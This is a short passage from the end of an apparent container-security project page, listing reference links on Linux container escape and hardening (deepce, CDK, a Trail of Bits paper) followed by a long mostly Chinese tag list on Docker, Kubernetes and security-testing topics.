PoC](https://twitter.com/_fel1x/status/1151487051986087936) - [deepce](https://github.com/stealthcopter/deepce) - [CDK](https://github.com/cdk-team/CDK) - [Trail of Bits -- Understanding and Hardening Linux Containers](https://github.com/trailofbits/publications/blob/master/papers/understanding_hardening_linux_containers.pdf)
标签:Chrome Headless, Claude, CVE检测, DevSecOps, Docker逃逸, Homebrew安装, K8s安全, Kubernetes安全, Kubernetes渗透测试, Linux能力, Privilege Escalation, URL发现, Web截图, Web报告查看器, 上游代理, 反取证, 命名空间隔离, 子域名枚举, 子域名突变, 安全基线检查, 安全检测, 安全评估, 容器安全, 容器审计, 容器逃逸, 容器配置审计, 应用安全, 系统安全, 自动化安全工具, 请求拦截, 逃逸向量